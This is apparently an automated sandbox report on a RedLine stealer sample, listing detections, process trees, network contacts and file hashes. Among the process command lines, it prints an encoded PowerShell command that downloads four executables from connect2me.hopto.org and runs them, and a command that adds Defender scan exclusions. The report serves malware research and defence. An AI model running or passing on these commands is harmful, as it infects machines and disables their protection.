Analysis Overview
SHA256
404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
Threat Level: Known bad
The file 77d29818be0d01c38545baa0bd4551c6853c224b was found to be: Known bad.
Malicious Activity Summary
RedLine
Suspicious use of NtCreateUserProcessOtherParentProcess
RedLine payload
Downloads MZ/PE file
Executes dropped EXE
Blocklisted process makes network request
Uses the VBS compiler for execution
Suspicious use of SetThreadContext
Program crash
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-01-16 13:32
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-01-16 13:32
Reported
2023-01-16 14:40
Platform
win7-20220812-en
Max time kernel
50s
Max time network
46s
Command Line
Signatures
Uses the VBS compiler for execution
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1444 set thread context of 1220 | N/A | C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe
"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1444 -s 36
Network
Files
memory/1220-54-0x0000000000400000-0x0000000000405000-memory.dmp
memory/1220-56-0x0000000000400000-0x0000000000405000-memory.dmp
memory/1220-62-0x0000000000401159-mapping.dmp
memory/1532-63-0x0000000000000000-mapping.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-01-16 13:32
Reported
2023-01-16 14:40
Platform
win10v2004-20221111-en
Max time kernel
189s
Max time network
218s
Command Line
Signatures
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 928 created 704 | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | C:\Windows\Explorer.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\C4Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\new2.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\SysApp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | N/A |
Uses the VBS compiler for execution
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2948 set thread context of 1668 | N/A | C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 384 set thread context of 4460 | N/A | C:\Users\Admin\AppData\Local\Temp\new2.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\new2.exe |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe
"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2948 -ip 2948
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2948 -s 140
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
C:\Users\Admin\AppData\Local\Temp\new2.exe
"C:\Users\Admin\AppData\Local\Temp\new2.exe"
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 384 -ip 384
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 156
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Network
| Country | Destination | Domain | Proto |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 104.80.225.205:443 | tcp | |
| N/A | 51.11.192.48:443 | tcp | |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 8.8.8.8:53 | connect2me.hopto.org | udp |
| N/A | 37.139.129.113:443 | connect2me.hopto.org | tcp |
Files
memory/1668-132-0x0000000000000000-mapping.dmp
memory/1668-133-0x0000000000400000-0x0000000000405000-memory.dmp
memory/1668-139-0x0000000000400000-0x0000000000405000-memory.dmp
memory/1760-140-0x0000000000000000-mapping.dmp
memory/1760-141-0x0000000002460000-0x0000000002496000-memory.dmp
memory/1760-142-0x0000000005130000-0x0000000005758000-memory.dmp
memory/1760-143-0x0000000004EE0000-0x0000000004F02000-memory.dmp
memory/1760-144-0x0000000005040000-0x00000000050A6000-memory.dmp
memory/1760-145-0x00000000050B0000-0x0000000005116000-memory.dmp
memory/1760-146-0x0000000005D70000-0x0000000005D8E000-memory.dmp
memory/1760-147-0x0000000006320000-0x0000000006352000-memory.dmp
memory/1760-148-0x0000000073A70000-0x0000000073ABC000-memory.dmp
memory/1760-149-0x0000000006300000-0x000000000631E000-memory.dmp
memory/1760-150-0x00000000076D0000-0x0000000007D4A000-memory.dmp
memory/1760-151-0x0000000007090000-0x00000000070AA000-memory.dmp
memory/1760-152-0x0000000007100000-0x000000000710A000-memory.dmp
memory/1760-153-0x0000000007340000-0x00000000073D6000-memory.dmp
memory/1760-154-0x00000000061E0000-0x00000000061EE000-memory.dmp
memory/1760-155-0x00000000073E0000-0x00000000073FA000-memory.dmp
memory/1760-156-0x0000000007280000-0x0000000007288000-memory.dmp
memory/1760-157-0x0000000007420000-0x0000000007442000-memory.dmp
memory/1760-158-0x0000000008300000-0x00000000088A4000-memory.dmp
memory/4124-159-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
memory/384-162-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
memory/4124-164-0x00000000004A0000-0x000000000060C000-memory.dmp
memory/2068-165-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
| MD5 | b6bbab9f72c88d07b484cc339c475e75 |
| SHA1 | f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1 |
| SHA256 | dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f |
| SHA512 | 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5 |
memory/4124-168-0x0000000004E80000-0x0000000004F12000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
| MD5 | b6bbab9f72c88d07b484cc339c475e75 |
| SHA1 | f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1 |
| SHA256 | dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f |
| SHA512 | 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5 |
C:\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
memory/4460-170-0x0000000000000000-mapping.dmp
memory/4460-171-0x0000000000400000-0x0000000000420000-memory.dmp
memory/928-174-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
| MD5 | f5c51e7760315ad0f0238d268c03c60e |
| SHA1 | 85ebaaa9685634143a72bc82c6e7df87a78eed4c |
| SHA256 | ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa |
| SHA512 | d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35 |
memory/4124-178-0x00000000053C0000-0x00000000053CA000-memory.dmp
memory/2068-179-0x00000000022D5000-0x00000000027D9000-memory.dmp
memory/2068-180-0x00000000022D5000-0x00000000027D9000-memory.dmp
memory/496-181-0x000001D3D6030000-0x000001D3D6052000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 18fb295843bc5c212316a6239f0d3dd3 |
| SHA1 | 4d04dac84abf4d0746a715fe963de1f5ffe8061a |
| SHA256 | f2907718bda50475af6edf5d9d3eb580edf5c7ca9302740324e6c8296274600f |
| SHA512 | e465f9d551afad43aa407da0ce5788e4355483c6af26a983c911d5e037cbbbe42c4f4e574fc43cd41f67835d2bda57f153c64b9d9f84c6c5cc9ecbde0d7579d8 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | 124edf3ad57549a6e475f3bc4e6cfe51 |
| SHA1 | 80f5187eeebb4a304e9caa0ce66fcd78c113d634 |
| SHA256 | 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675 |
| SHA512 | b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee |
memory/496-184-0x000001D3D6390000-0x000001D3D63AC000-memory.dmp